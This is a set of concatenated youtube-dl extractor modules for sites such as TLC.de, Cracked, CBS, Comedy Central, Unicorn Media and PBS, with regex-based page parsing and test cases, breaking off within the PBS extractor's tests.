            r'"pages\.jwplayer"\s*,\s*({.+?})\s*\)\s*</script>',
            webpage, 'config', default=None)
        if not config_json:
            embed_url = self._search_regex(
                r"<iframe[^>]+class='pages-video-embed__video__object'[^>]+src='([^']+)'", webpage, 'embed url')
            return self.url_result(self._proto_relative_url(embed_url))
        config = json.loads(config_json)['config']
        video_url = config['video']['url']
        thumbnail = config.get('image', {}).get('url')

        title = self._html_search_regex(
            r"(?s)<h1(?:\s+class='[^']+')?>(.+?)</h1>", webpage, 'title')
        description = self._html_search_regex(
            [
                r'(?s)<h4 class="[^"]+" id="h3--about-this-talk">.*?</h4>(.*?)</div>',
                r'(?s)<p><strong>About this talk:</strong>\s+(.*?)</p>',
            ],
            webpage, 'description', fatal=False)

        return {
            'id': name,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'description': description,
        }






# encoding: utf-8
from __future__ import unicode_literals
import re

from .common import InfoExtractor
from .brightcove import BrightcoveLegacyIE
from ..compat import compat_parse_qs


class TlcDeIE(InfoExtractor):
    IE_NAME = 'tlc.de'
    _VALID_URL = r'https?://www\.tlc\.de/(?:[^/]+/)*videos/(?P<title>[^/?#]+)?(?:.*#(?P<id>\d+))?'

    _TEST = {
        'url': 'http://www.tlc.de/sendungen/breaking-amish/videos/#3235167922001',
        'info_dict': {
            'id': '3235167922001',
            'ext': 'mp4',
            'title': 'Breaking Amish: Die Welt da draußen',
            'description': (
                'Vier Amische und eine Mennonitin wagen in New York'
                '  den Sprung in ein komplett anderes Leben. Begleitet sie auf'
                ' ihrem spannenden Weg.'),
            'timestamp': 1396598084,
            'upload_date': '20140404',
            'uploader_id': '1659832546',
        },
    }
    BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/1659832546/default_default/index.html?videoId=%s'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        brightcove_id = mobj.group('id')
        if not brightcove_id:
            title = mobj.group('title')
            webpage = self._download_webpage(url, title)
            brightcove_legacy_url = BrightcoveLegacyIE._extract_brightcove_url(webpage)
            brightcove_id = compat_parse_qs(brightcove_legacy_url)['@videoPlayer'][0]
        return self.url_result(self.BRIGHTCOVE_URL_TEMPLATE % brightcove_id, 'BrightcoveNew', brightcove_id)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_iso8601,
    str_to_int,
)


class CrackedIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?cracked\.com/video_(?P<id>\d+)_[\da-z-]+\.html'
    _TESTS = [{
        'url': 'http://www.cracked.com/video_19070_if-animal-actors-got-e21-true-hollywood-stories.html',
        'md5': '89b90b9824e3806ca95072c4d78f13f7',
        'info_dict': {
            'id': '19070',
            'ext': 'mp4',
            'title': 'If Animal Actors Got E! True Hollywood Stories',
            'timestamp': 1404954000,
            'upload_date': '20140710',
        }
    }, {
        # youtube embed
        'url': 'http://www.cracked.com/video_19006_4-plot-holes-you-didnt-notice-in-your-favorite-movies.html',
        'md5': 'ccd52866b50bde63a6ef3b35016ba8c7',
        'info_dict': {
            'id': 'EjI00A3rZD0',
            'ext': 'mp4',
            'title': "4 Plot Holes You Didn't Notice in Your Favorite Movies - The Spit Take",
            'description': 'md5:c603708c718b796fe6079e2b3351ffc7',
            'upload_date': '20140725',
            'uploader_id': 'Cracked',
            'uploader': 'Cracked',
        }
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        youtube_url = self._search_regex(
            r'<iframe[^>]+src="((?:https?:)?//www\.youtube\.com/embed/[^"]+)"',
            webpage, 'youtube url', default=None)
        if youtube_url:
            return self.url_result(youtube_url, 'Youtube')

        video_url = self._html_search_regex(
            [r'var\s+CK_vidSrc\s*=\s*"([^"]+)"', r'<video\s+src="([^"]+)"'],
            webpage, 'video URL')

        title = self._search_regex(
            [r'property="?og:title"?\s+content="([^"]+)"', r'class="?title"?>([^<]+)'],
            webpage, 'title')

        description = self._search_regex(
            r'name="?(?:og:)?description"?\s+content="([^"]+)"',
            webpage, 'description', default=None)

        timestamp = self._html_search_regex(
            r'"date"\s*:\s*"([^"]+)"', webpage, 'upload date', fatal=False)
        if timestamp:
            timestamp = parse_iso8601(timestamp[:-6])

        view_count = str_to_int(self._html_search_regex(
            r'<span\s+class="?views"? id="?viewCounts"?>([\d,\.]+) Views</span>',
            webpage, 'view count', fatal=False))
        comment_count = str_to_int(self._html_search_regex(
            r'<span\s+id="?commentCounts"?>([\d,\.]+)</span>',
            webpage, 'comment count', fatal=False))

        m = re.search(r'_(?P<width>\d+)X(?P<height>\d+)\.mp4$', video_url)
        if m:
            width = int(m.group('width'))
            height = int(m.group('height'))
        else:
            width = height = None

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'view_count': view_count,
            'comment_count': comment_count,
            'height': height,
            'width': width,
        }






from __future__ import unicode_literals

from .theplatform import ThePlatformFeedIE
from ..utils import (
    int_or_none,
    find_xpath_attr,
    ExtractorError,
)


class CBSBaseIE(ThePlatformFeedIE):
    def _parse_smil_subtitles(self, smil, namespace=None, subtitles_lang='en'):
        closed_caption_e = find_xpath_attr(smil, self._xpath_ns('.//param', namespace), 'name', 'ClosedCaptionURL')
        return {
            'en': [{
                'ext': 'ttml',
                'url': closed_caption_e.attrib['value'],
            }]
        } if closed_caption_e is not None and closed_caption_e.attrib.get('value') else []


class CBSIE(CBSBaseIE):
    _VALID_URL = r'(?:cbs:|https?://(?:www\.)?(?:cbs\.com/shows/[^/]+/video|colbertlateshow\.com/(?:video|podcasts))/)(?P<id>[\w-]+)'

    _TESTS = [{
        'url': 'http://www.cbs.com/shows/garth-brooks/video/_u7W953k6la293J7EPTd9oHkSPs6Xn6_/connect-chat-feat-garth-brooks/',
        'info_dict': {
            'id': '_u7W953k6la293J7EPTd9oHkSPs6Xn6_',
            'ext': 'mp4',
            'title': 'Connect Chat feat. Garth Brooks',
            'description': 'Connect with country music singer Garth Brooks, as he chats with fans on Wednesday November 27, 2013. Be sure to tune in to Garth Brooks: Live from Las Vegas, Friday November 29, at 9/8c on CBS!',
            'duration': 1495,
            'timestamp': 1385585425,
            'upload_date': '20131127',
            'uploader': 'CBSI-NEW',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        '_skip': 'Blocked outside the US',
    }, {
        'url': 'http://colbertlateshow.com/video/8GmB0oY0McANFvp2aEffk9jZZZ2YyXxy/the-colbeard/',
        'only_matching': True,
    }, {
        'url': 'http://www.colbertlateshow.com/podcasts/dYSwjqPs_X1tvbV_P2FcPWRa_qT6akTC/in-the-bad-room-with-stephen/',
        'only_matching': True,
    }]

    def _extract_video_info(self, guid):
        path = 'dJ5BDC/media/guid/2198311517/' + guid
        smil_url = 'http://link.theplatform.com/s/%s?mbr=true' % path
        formats, subtitles = self._extract_theplatform_smil(smil_url + '&manifest=m3u', guid)
        for r in ('HLS&formats=M3U', 'RTMP', 'WIFI', '3G'):
            try:
                tp_formats, _ = self._extract_theplatform_smil(smil_url + '&assetTypes=' + r, guid, 'Downloading %s SMIL data' % r.split('&')[0])
                formats.extend(tp_formats)
            except ExtractorError:
                continue
        self._sort_formats(formats)
        metadata = self._download_theplatform_metadata(path, guid)
        info = self._parse_theplatform_metadata(metadata)
        info.update({
            'id': guid,
            'formats': formats,
            'subtitles': subtitles,
            'series': metadata.get('cbs$SeriesTitle'),
            'season_number': int_or_none(metadata.get('cbs$SeasonNumber')),
            'episode': metadata.get('cbs$EpisodeTitle'),
            'episode_number': int_or_none(metadata.get('cbs$EpisodeNumber')),
        })
        return info

    def _real_extract(self, url):
        content_id = self._match_id(url)
        return self._extract_video_info(content_id)






from __future__ import unicode_literals

from .mtv import MTVServicesInfoExtractor
from .common import InfoExtractor


class ComedyCentralIE(MTVServicesInfoExtractor):
    _VALID_URL = r'''(?x)https?://(?:www\.)?cc\.com/
        (video-clips|episodes|cc-studios|video-collections|full-episodes|shows)
        /(?P<title>.*)'''
    _FEED_URL = 'http://comedycentral.com/feeds/mrss/'

    _TESTS = [{
        'url': 'http://www.cc.com/video-clips/kllhuv/stand-up-greg-fitzsimmons--uncensored---too-good-of-a-mother',
        'md5': 'c4f48e9eda1b16dd10add0744344b6d8',
        'info_dict': {
            'id': 'cef0cbb3-e776-4bc9-b62e-8016deccb354',
            'ext': 'mp4',
            'title': 'CC:Stand-Up|August 18, 2013|1|0101|Uncensored - Too Good of a Mother',
            'description': 'After a certain point, breastfeeding becomes c**kblocking.',
            'timestamp': 1376798400,
            'upload_date': '20130818',
        },
    }, {
        'url': 'http://www.cc.com/shows/the-daily-show-with-trevor-noah/interviews/6yx39d/exclusive-rand-paul-extended-interview',
        'only_matching': True,
    }]


class ToshIE(MTVServicesInfoExtractor):
    IE_DESC = 'Tosh.0'
    _VALID_URL = r'^https?://tosh\.cc\.com/video-(?:clips|collections)/[^/]+/(?P<videotitle>[^/?#]+)'
    _FEED_URL = 'http://tosh.cc.com/feeds/mrss'

    _TESTS = [{
        'url': 'http://tosh.cc.com/video-clips/68g93d/twitter-users-share-summer-plans',
        'info_dict': {
            'description': 'Tosh asked fans to share their summer plans.',
            'title': 'Twitter Users Share Summer Plans',
        },
        'playlist': [{
            'md5': 'f269e88114c1805bb6d7653fecea9e06',
            'info_dict': {
                'id': '90498ec2-ed00-11e0-aca6-0026b9414f30',
                'ext': 'mp4',
                'title': 'Tosh.0|June 9, 2077|2|211|Twitter Users Share Summer Plans',
                'description': 'Tosh asked fans to share their summer plans.',
                'thumbnail': 're:^https?://.*\.jpg',
                # It's really reported to be published on year 2077
                'upload_date': '20770610',
                'timestamp': 3390510600,
                'subtitles': {
                    'en': 'mincount:3',
                },
            },
        }]
    }, {
        'url': 'http://tosh.cc.com/video-collections/x2iz7k/just-plain-foul/m5q4fp',
        'only_matching': True,
    }]

    @classmethod
    def _transform_rtmp_url(cls, rtmp_video_url):
        new_urls = super(ToshIE, cls)._transform_rtmp_url(rtmp_video_url)
        new_urls['rtmp'] = rtmp_video_url.replace('viacomccstrm', 'viacommtvstrm')
        return new_urls


class ComedyCentralTVIE(MTVServicesInfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?comedycentral\.tv/(?:staffeln|shows)/(?P<id>[^/?#&]+)'
    _TESTS = [{
        'url': 'http://www.comedycentral.tv/staffeln/7436-the-mindy-project-staffel-4',
        'info_dict': {
            'id': 'local_playlist-f99b626bdfe13568579a',
            'ext': 'flv',
            'title': 'Episode_the-mindy-project_shows_season-4_episode-3_full-episode_part1',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.comedycentral.tv/shows/1074-workaholics',
        'only_matching': True,
    }, {
        'url': 'http://www.comedycentral.tv/shows/1727-the-mindy-project/bonus',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        mrss_url = self._search_regex(
            r'data-mrss=(["\'])(?P<url>(?:(?!\1).)+)\1',
            webpage, 'mrss url', group='url')

        return self._get_videos_info_from_url(mrss_url, video_id)


class ComedyCentralShortnameIE(InfoExtractor):
    _VALID_URL = r'^:(?P<id>tds|thedailyshow)$'
    _TESTS = [{
        'url': ':tds',
        'only_matching': True,
    }, {
        'url': ':thedailyshow',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        shortcut_map = {
            'tds': 'http://www.cc.com/shows/the-daily-show-with-trevor-noah/full-episodes',
            'thedailyshow': 'http://www.cc.com/shows/the-daily-show-with-trevor-noah/full-episodes',
        }
        return self.url_result(shortcut_map[video_id])






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class OnceIE(InfoExtractor):
    _VALID_URL = r'https?://.+?\.unicornmedia\.com/now/[^/]+/[^/]+/(?P<domain_id>[^/]+)/(?P<application_id>[^/]+)/(?:[^/]+/)?(?P<media_item_id>[^/]+)/content\.(?:once|m3u8|mp4)'
    ADAPTIVE_URL_TEMPLATE = 'http://once.unicornmedia.com/now/master/playlist/%s/%s/%s/content.m3u8'
    PROGRESSIVE_URL_TEMPLATE = 'http://once.unicornmedia.com/now/media/progressive/%s/%s/%s/%s/content.mp4'

    def _extract_once_formats(self, url):
        domain_id, application_id, media_item_id = re.match(
            OnceIE._VALID_URL, url).groups()
        formats = self._extract_m3u8_formats(
            self.ADAPTIVE_URL_TEMPLATE % (
                domain_id, application_id, media_item_id),
            media_item_id, 'mp4', m3u8_id='hls', fatal=False)
        progressive_formats = []
        for adaptive_format in formats:
            # Prevent advertisement from embedding into m3u8 playlist (see
            # https://github.com/rg3/youtube-dl/issues/8893#issuecomment-199912684)
            adaptive_format['url'] = re.sub(
                r'\badsegmentlength=\d+', r'adsegmentlength=0', adaptive_format['url'])
            rendition_id = self._search_regex(
                r'/now/media/playlist/[^/]+/[^/]+/([^/]+)',
                adaptive_format['url'], 'redition id', default=None)
            if rendition_id:
                progressive_format = adaptive_format.copy()
                progressive_format.update({
                    'url': self.PROGRESSIVE_URL_TEMPLATE % (
                        domain_id, application_id, rendition_id, media_item_id),
                    'format_id': adaptive_format['format_id'].replace(
                        'hls', 'http'),
                    'protocol': 'http',
                })
                progressive_formats.append(progressive_format)
        self._check_formats(progressive_formats, media_item_id)
        formats.extend(progressive_formats)
        return formats






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    determine_ext,
    int_or_none,
    js_to_json,
    strip_jsonp,
    strip_or_none,
    unified_strdate,
    US_RATINGS,
)


class PBSIE(InfoExtractor):
    _STATIONS = (
        (r'(?:video|www|player)\.pbs\.org', 'PBS: Public Broadcasting Service'),  # http://www.pbs.org/
        (r'video\.aptv\.org', 'APT - Alabama Public Television (WBIQ)'),  # http://aptv.org/
        (r'video\.gpb\.org', 'GPB/Georgia Public Broadcasting (WGTV)'),  # http://www.gpb.org/
        (r'video\.mpbonline\.org', 'Mississippi Public Broadcasting (WMPN)'),  # http://www.mpbonline.org
        (r'video\.wnpt\.org', 'Nashville Public Television (WNPT)'),  # http://www.wnpt.org
        (r'video\.wfsu\.org', 'WFSU-TV (WFSU)'),  # http://wfsu.org/
        (r'video\.wsre\.org', 'WSRE (WSRE)'),  # http://www.wsre.org
        (r'video\.wtcitv\.org', 'WTCI (WTCI)'),  # http://www.wtcitv.org
        (r'video\.pba\.org', 'WPBA/Channel 30 (WPBA)'),  # http://pba.org/
        (r'video\.alaskapublic\.org', 'Alaska Public Media (KAKM)'),  # http://alaskapublic.org/kakm
        # (r'kuac\.org', 'KUAC (KUAC)'),  # http://kuac.org/kuac-tv/
        # (r'ktoo\.org', '360 North (KTOO)'),  # http://www.ktoo.org/
        # (r'azpm\.org', 'KUAT 6 (KUAT)'),  # http://www.azpm.org/
        (r'video\.azpbs\.org', 'Arizona PBS (KAET)'),  # http://www.azpbs.org
        (r'portal\.knme\.org', 'KNME-TV/Channel 5 (KNME)'),  # http://www.newmexicopbs.org/
        (r'video\.vegaspbs\.org', 'Vegas PBS (KLVX)'),  # http://vegaspbs.org/
        (r'watch\.aetn\.org', 'AETN/ARKANSAS ETV NETWORK (KETS)'),  # http://www.aetn.org/
        (r'video\.ket\.org', 'KET (WKLE)'),  # http://www.ket.org/
        (r'video\.wkno\.org', 'WKNO/Channel 10 (WKNO)'),  # http://www.wkno.org/
        (r'video\.lpb\.org', 'LPB/LOUISIANA PUBLIC BROADCASTING (WLPB)'),  # http://www.lpb.org/
        (r'videos\.oeta\.tv', 'OETA (KETA)'),  # http://www.oeta.tv
        (r'video\.optv\.org', 'Ozarks Public Television (KOZK)'),  # http://www.optv.org/
        (r'watch\.wsiu\.org', 'WSIU Public Broadcasting (WSIU)'),  # http://www.wsiu.org/
        (r'video\.keet\.org', 'KEET TV (KEET)'),  # http://www.keet.org
        (r'pbs\.kixe\.org', 'KIXE/Channel 9 (KIXE)'),  # http://kixe.org/
        (r'video\.kpbs\.org', 'KPBS San Diego (KPBS)'),  # http://www.kpbs.org/
        (r'video\.kqed\.org', 'KQED (KQED)'),  # http://www.kqed.org
        (r'vids\.kvie\.org', 'KVIE Public Television (KVIE)'),  # http://www.kvie.org
        (r'video\.pbssocal\.org', 'PBS SoCal/KOCE (KOCE)'),  # http://www.pbssocal.org/
        (r'video\.valleypbs\.org', 'ValleyPBS (KVPT)'),  # http://www.valleypbs.org/
        (r'video\.cptv\.org', 'CONNECTICUT PUBLIC TELEVISION (WEDH)'),  # http://cptv.org
        (r'watch\.knpb\.org', 'KNPB Channel 5 (KNPB)'),  # http://www.knpb.org/
        (r'video\.soptv\.org', 'SOPTV (KSYS)'),  # http://www.soptv.org
        # (r'klcs\.org', 'KLCS/Channel 58 (KLCS)'),  # http://www.klcs.org
        # (r'krcb\.org', 'KRCB Television & Radio (KRCB)'),  # http://www.krcb.org
        # (r'kvcr\.org', 'KVCR TV/DT/FM :: Vision for the Future (KVCR)'),  # http://kvcr.org
        (r'video\.rmpbs\.org', 'Rocky Mountain PBS (KRMA)'),  # http://www.rmpbs.org
        (r'video\.kenw\.org', 'KENW-TV3 (KENW)'),  # http://www.kenw.org
        (r'video\.kued\.org', 'KUED Channel 7 (KUED)'),  # http://www.kued.org
        (r'video\.wyomingpbs\.org', 'Wyoming PBS (KCWC)'),  # http://www.wyomingpbs.org
        (r'video\.cpt12\.org', 'Colorado Public Television / KBDI 12 (KBDI)'),  # http://www.cpt12.org/
        (r'video\.kbyueleven\.org', 'KBYU-TV (KBYU)'),  # http://www.kbyutv.org/
        (r'video\.thirteen\.org', 'Thirteen/WNET New York (WNET)'),  # http://www.thirteen.org
        (r'video\.wgbh\.org', 'WGBH/Channel 2 (WGBH)'),  # http://wgbh.org
        (r'video\.wgby\.org', 'WGBY (WGBY)'),  # http://www.wgby.org
        (r'watch\.njtvonline\.org', 'NJTV Public Media NJ (WNJT)'),  # http://www.njtvonline.org/
        # (r'ripbs\.org', 'Rhode Island PBS (WSBE)'),  # http://www.ripbs.org/home/
        (r'watch\.wliw\.org', 'WLIW21 (WLIW)'),  # http://www.wliw.org/
        (r'video\.mpt\.tv', 'mpt/Maryland Public Television (WMPB)'),  # http://www.mpt.org
        (r'watch\.weta\.org', 'WETA Television and Radio (WETA)'),  # http://www.weta.org
        (r'video\.whyy\.org', 'WHYY (WHYY)'),  # http://www.whyy.org
        (r'video\.wlvt\.org', 'PBS 39 (WLVT)'),  # http://www.wlvt.org/
        (r'video\.wvpt\.net', 'WVPT - Your Source for PBS and More! (WVPT)'),  # http://www.wvpt.net
        (r'video\.whut\.org', 'Howard University Television (WHUT)'),  # http://www.whut.org
        (r'video\.wedu\.org', 'WEDU PBS (WEDU)'),  # http://www.wedu.org
        (r'video\.wgcu\.org', 'WGCU Public Media (WGCU)'),  # http://www.wgcu.org/
        # (r'wjct\.org', 'WJCT Public Broadcasting (WJCT)'),  # http://www.wjct.org
        (r'video\.wpbt2\.org', 'WPBT2 (WPBT)'),  # http://www.wpbt2.org
        (r'video\.wucftv\.org', 'WUCF TV (WUCF)'),  # http://wucftv.org
        (r'video\.wuft\.org', 'WUFT/Channel 5 (WUFT)'),  # http://www.wuft.org
        (r'watch\.wxel\.org', 'WXEL/Channel 42 (WXEL)'),  # http://www.wxel.org/home/
        (r'video\.wlrn\.org', 'WLRN/Channel 17 (WLRN)'),  # http://www.wlrn.org/
        (r'video\.wusf\.usf\.edu', 'WUSF Public Broadcasting (WUSF)'),  # http://wusf.org/
        (r'video\.scetv\.org', 'ETV (WRLK)'),  # http://www.scetv.org
        (r'video\.unctv\.org', 'UNC-TV (WUNC)'),  # http://www.unctv.org/
        # (r'pbsguam\.org', 'PBS Guam (KGTF)'),  # http://www.pbsguam.org/
        (r'video\.pbshawaii\.org', 'PBS Hawaii - Oceanic Cable Channel 10 (KHET)'),  # http://www.pbshawaii.org/
        (r'video\.idahoptv\.org', 'Idaho Public Television (KAID)'),  # http://idahoptv.org
        (r'video\.ksps\.org', 'KSPS (KSPS)'),  # http://www.ksps.org/home/
        (r'watch\.opb\.org', 'OPB (KOPB)'),  # http://www.opb.org
        (r'watch\.nwptv\.org', 'KWSU/Channel 10 & KTNW/Channel 31 (KWSU)'),  # http://www.kwsu.org
        (r'video\.will\.illinois\.edu', 'WILL-TV (WILL)'),  # http://will.illinois.edu/
        (r'video\.networkknowledge\.tv', 'Network Knowledge - WSEC/Springfield (WSEC)'),  # http://www.wsec.tv
        (r'video\.wttw\.com', 'WTTW11 (WTTW)'),  # http://www.wttw.com/
        # (r'wtvp\.org', 'WTVP & WTVP.org, Public Media for Central Illinois (WTVP)'),  # http://www.wtvp.org/
        (r'video\.iptv\.org', 'Iowa Public Television/IPTV (KDIN)'),  # http://www.iptv.org/
        (r'video\.ninenet\.org', 'Nine Network (KETC)'),  # http://www.ninenet.org
        (r'video\.wfwa\.org', 'PBS39 Fort Wayne (WFWA)'),  # http://wfwa.org/
        (r'video\.wfyi\.org', 'WFYI Indianapolis (WFYI)'),  # http://www.wfyi.org
        (r'video\.mptv\.org', 'Milwaukee Public Television (WMVS)'),  # http://www.mptv.org
        (r'video\.wnin\.org', 'WNIN (WNIN)'),  # http://www.wnin.org/
        (r'video\.wnit\.org', 'WNIT Public Television (WNIT)'),  # http://www.wnit.org/
        (r'video\.wpt\.org', 'WPT (WPNE)'),  # http://www.wpt.org/
        (r'video\.wvut\.org', 'WVUT/Channel 22 (WVUT)'),  # http://wvut.org/
        (r'video\.weiu\.net', 'WEIU/Channel 51 (WEIU)'),  # http://www.weiu.net
        (r'video\.wqpt\.org', 'WQPT-TV (WQPT)'),  # http://www.wqpt.org
        (r'video\.wycc\.org', 'WYCC PBS Chicago (WYCC)'),  # http://www.wycc.org
        # (r'lakeshorepublicmedia\.org', 'Lakeshore Public Television (WYIN)'),  # http://lakeshorepublicmedia.org/
        (r'video\.wipb\.org', 'WIPB-TV (WIPB)'),  # http://wipb.org
        (r'video\.indianapublicmedia\.org', 'WTIU (WTIU)'),  # http://indianapublicmedia.org/tv/
        (r'watch\.cetconnect\.org', 'CET  (WCET)'),  # http://www.cetconnect.org
        (r'video\.thinktv\.org', 'ThinkTVNetwork (WPTD)'),  # http://www.thinktv.org
        (r'video\.wbgu\.org', 'WBGU-TV (WBGU)'),  # http://wbgu.org
        (r'video\.wgvu\.org', 'WGVU TV (WGVU)'),  # http://www.wgvu.org/
        (r'video\.netnebraska\.org', 'NET1 (KUON)'),  # http://netnebraska.org
        (r'video\.pioneer\.org', 'Pioneer Public Television (KWCM)'),  # http://www.pioneer.org
        (r'watch\.sdpb\.org', 'SDPB Television (KUSD)'),  # http://www.sdpb.org
        (r'video\.tpt\.org', 'TPT (KTCA)'),  # http://www.tpt.org
        (r'watch\.ksmq\.org', 'KSMQ (KSMQ)'),  # http://www.ksmq.org/
        (r'watch\.kpts\.org', 'KPTS/Channel 8 (KPTS)'),  # http://www.kpts.org/
        (r'watch\.ktwu\.org', 'KTWU/Channel 11 (KTWU)'),  # http://ktwu.org
        # (r'shptv\.org', 'Smoky Hills Public Television (KOOD)'),  # http://www.shptv.org
        # (r'kcpt\.org', 'KCPT Kansas City Public Television (KCPT)'),  # http://kcpt.org/
        # (r'blueridgepbs\.org', 'Blue Ridge PBS (WBRA)'),  # http://www.blueridgepbs.org/
        (r'watch\.easttennesseepbs\.org', 'East Tennessee PBS (WSJK)'),  # http://easttennesseepbs.org
        (r'video\.wcte\.tv', 'WCTE-TV (WCTE)'),  # http://www.wcte.org
        (r'video\.wljt\.org', 'WLJT, Channel 11 (WLJT)'),  # http://wljt.org/
        (r'video\.wosu\.org', 'WOSU TV (WOSU)'),  # http://wosu.org/
        (r'video\.woub\.org', 'WOUB/WOUC (WOUB)'),  # http://woub.org/tv/index.php?section=5
        (r'video\.wvpublic\.org', 'WVPB (WVPB)'),  # http://wvpublic.org/
        (r'video\.wkyupbs\.org', 'WKYU-PBS (WKYU)'),  # http://www.wkyupbs.org
        # (r'wyes\.org', 'WYES-TV/New Orleans (WYES)'),  # http://www.wyes.org
        (r'video\.kera\.org', 'KERA 13 (KERA)'),  # http://www.kera.org/
        (r'video\.mpbn\.net', 'MPBN (WCBB)'),  # http://www.mpbn.net/
        (r'video\.mountainlake\.org', 'Mountain Lake PBS (WCFE)'),  # http://www.mountainlake.org/
        (r'video\.nhptv\.org', 'NHPTV (WENH)'),  # http://nhptv.org/
        (r'video\.vpt\.org', 'Vermont PBS (WETK)'),  # http://www.vpt.org
        (r'video\.witf\.org', 'witf (WITF)'),  # http://www.witf.org
        (r'watch\.wqed\.org', 'WQED Multimedia (WQED)'),  # http://www.wqed.org/
        (r'video\.wmht\.org', 'WMHT Educational Telecommunications (WMHT)'),  # http://www.wmht.org/home/
        (r'video\.deltabroadcasting\.org', 'Q-TV (WDCQ)'),  # http://www.deltabroadcasting.org
        (r'video\.dptv\.org', 'WTVS Detroit Public TV (WTVS)'),  # http://www.dptv.org/
        (r'video\.wcmu\.org', 'CMU Public Television (WCMU)'),  # http://www.wcmu.org
        (r'video\.wkar\.org', 'WKAR-TV (WKAR)'),  # http://wkar.org/
        (r'wnmuvideo\.nmu\.edu', 'WNMU-TV Public TV 13 (WNMU)'),  # http://wnmutv.nmu.edu
        (r'video\.wdse\.org', 'WDSE - WRPT (WDSE)'),  # http://www.wdse.org/
        (r'video\.wgte\.org', 'WGTE TV (WGTE)'),  # http://www.wgte.org
        (r'video\.lptv\.org', 'Lakeland Public Television (KAWE)'),  # http://www.lakelandptv.org
        # (r'prairiepublic\.org', 'PRAIRIE PUBLIC (KFME)'),  # http://www.prairiepublic.org/
        (r'video\.kmos\.org', 'KMOS-TV - Channels 6.1, 6.2 and 6.3 (KMOS)'),  # http://www.kmos.org/
        (r'watch\.montanapbs\.org', 'MontanaPBS (KUSM)'),  # http://montanapbs.org
        (r'video\.krwg\.org', 'KRWG/Channel 22 (KRWG)'),  # http://www.krwg.org
        (r'video\.kacvtv\.org', 'KACV (KACV)'),  # http://www.panhandlepbs.org/home/
        (r'video\.kcostv\.org', 'KCOS/Channel 13 (KCOS)'),  # www.kcostv.org
        (r'video\.wcny\.org', 'WCNY/Channel 24 (WCNY)'),  # http://www.wcny.org
        (r'video\.wned\.org', 'WNED (WNED)'),  # http://www.wned.org/
        (r'watch\.wpbstv\.org', 'WPBS (WPBS)'),  # http://www.wpbstv.org
        (r'video\.wskg\.org', 'WSKG Public TV (WSKG)'),  # http://wskg.org
        (r'video\.wxxi\.org', 'WXXI (WXXI)'),  # http://wxxi.org
        (r'video\.wpsu\.org', 'WPSU (WPSU)'),  # http://www.wpsu.org
        # (r'wqln\.org', 'WQLN/Channel 54 (WQLN)'),  # http://www.wqln.org
        (r'on-demand\.wvia\.org', 'WVIA Public Media Studios (WVIA)'),  # http://www.wvia.org/
        (r'video\.wtvi\.org', 'WTVI (WTVI)'),  # http://www.wtvi.org/
        # (r'whro\.org', 'WHRO (WHRO)'),  # http://whro.org
        (r'video\.westernreservepublicmedia\.org', 'Western Reserve PBS (WNEO)'),  # http://www.WesternReservePublicMedia.org/
        (r'video\.ideastream\.org', 'WVIZ/PBS ideastream (WVIZ)'),  # http://www.wviz.org/
        (r'video\.kcts9\.org', 'KCTS 9 (KCTS)'),  # http://kcts9.org/
        (r'video\.basinpbs\.org', 'Basin PBS (KPBT)'),  # http://www.basinpbs.org
        (r'video\.houstonpbs\.org', 'KUHT / Channel 8 (KUHT)'),  # http://www.houstonpublicmedia.org/
        # (r'tamu\.edu', 'KAMU - TV (KAMU)'),  # http://KAMU.tamu.edu
        # (r'kedt\.org', 'KEDT/Channel 16 (KEDT)'),  # http://www.kedt.org
        (r'video\.klrn\.org', 'KLRN (KLRN)'),  # http://www.klrn.org
        (r'video\.klru\.tv', 'KLRU (KLRU)'),  # http://www.klru.org
        # (r'kmbh\.org', 'KMBH-TV (KMBH)'),  # http://www.kmbh.org
        # (r'knct\.org', 'KNCT (KNCT)'),  # http://www.knct.org
        # (r'ktxt\.org', 'KTTZ-TV (KTXT)'),  # http://www.ktxt.org
        (r'video\.wtjx\.org', 'WTJX Channel 12 (WTJX)'),  # http://www.wtjx.org/
        (r'video\.ideastations\.org', 'WCVE PBS (WCVE)'),  # http://ideastations.org/
        (r'video\.kbtc\.org', 'KBTC Public Television (KBTC)'),  # http://kbtc.org
    )

    IE_NAME = 'pbs'
    IE_DESC = 'Public Broadcasting Service (PBS) and member stations: %s' % ', '.join(list(zip(*_STATIONS))[1])

    _VALID_URL = r'''(?x)https?://
        (?:
           # Direct video URL
           (?:%s)/(?:viralplayer|video)/(?P<id>[0-9]+)/? |
           # Article with embedded player (or direct video)
           (?:www\.)?pbs\.org/(?:[^/]+/){2,5}(?P<presumptive_id>[^/]+?)(?:\.html)?/?(?:$|[?\#]) |
           # Player
           (?:video|player)\.pbs\.org/(?:widget/)?partnerplayer/(?P<player_id>[^/]+)/
        )
    ''' % '|'.join(list(zip(*_STATIONS))[0])

    _TESTS = [
        {
            'url': 'http://www.pbs.org/tpt/constitution-usa-peter-sagal/watch/a-more-perfect-union/',
            'md5': '173dc391afd361fa72eab5d3d918968d',
            'info_dict': {
                'id': '2365006249',
                'ext': 'mp4',
                'title': 'Constitution USA with Peter Sagal - A More Perfect Union',
                'description': 'md5:31b664af3c65fd07fa460d306b837d00',
                'duration': 3190,
            },
        },
        {
            'url': 'http://www.pbs.org/wgbh/pages/frontline/losing-iraq/',
            'md5': '6f722cb3c3982186d34b0f13374499c7',
            'info_dict': {
                'id': '2365297690',
                'ext': 'mp4',
                'title': 'FRONTLINE - Losing Iraq',
                'description': 'md5:5979a4d069b157f622d02bff62fbe654',
                'duration': 5050,
            },
        },
        {
            'url': 'http://www.pbs.org/newshour/bb/education-jan-june12-cyberschools_02-23/',
